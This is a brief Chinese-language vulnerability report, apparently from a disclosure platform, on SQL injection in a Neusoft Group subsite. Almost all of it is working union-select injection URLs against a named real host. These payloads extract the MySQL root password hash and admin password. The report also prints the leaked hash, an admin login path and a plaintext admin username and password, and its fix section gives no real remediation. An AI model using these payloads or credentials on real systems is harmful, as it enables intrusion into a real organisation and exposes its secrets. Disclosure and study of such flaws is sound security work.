东软集团某子站SQLROOT注入+后台
http://erp.neusoft.com/AboutUs/NewsLook.php?id=32 and 1=2 union select 1,2,3,4,5,6,7,concat(host,0x7c,user,0x7c,password) from mysql.user--
 
localhost|root|*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
 
http://erp.neusoft.com/AboutUs/NewsLook.php?id=32 and 1=2 union select 1,2,3,4,5,6,7,password from admin--
 
http://erp.neusoft.com/manager/Default.php
admin admin2011
 
看图吧
 


修复方案：
 
应该懂
作者  kobin97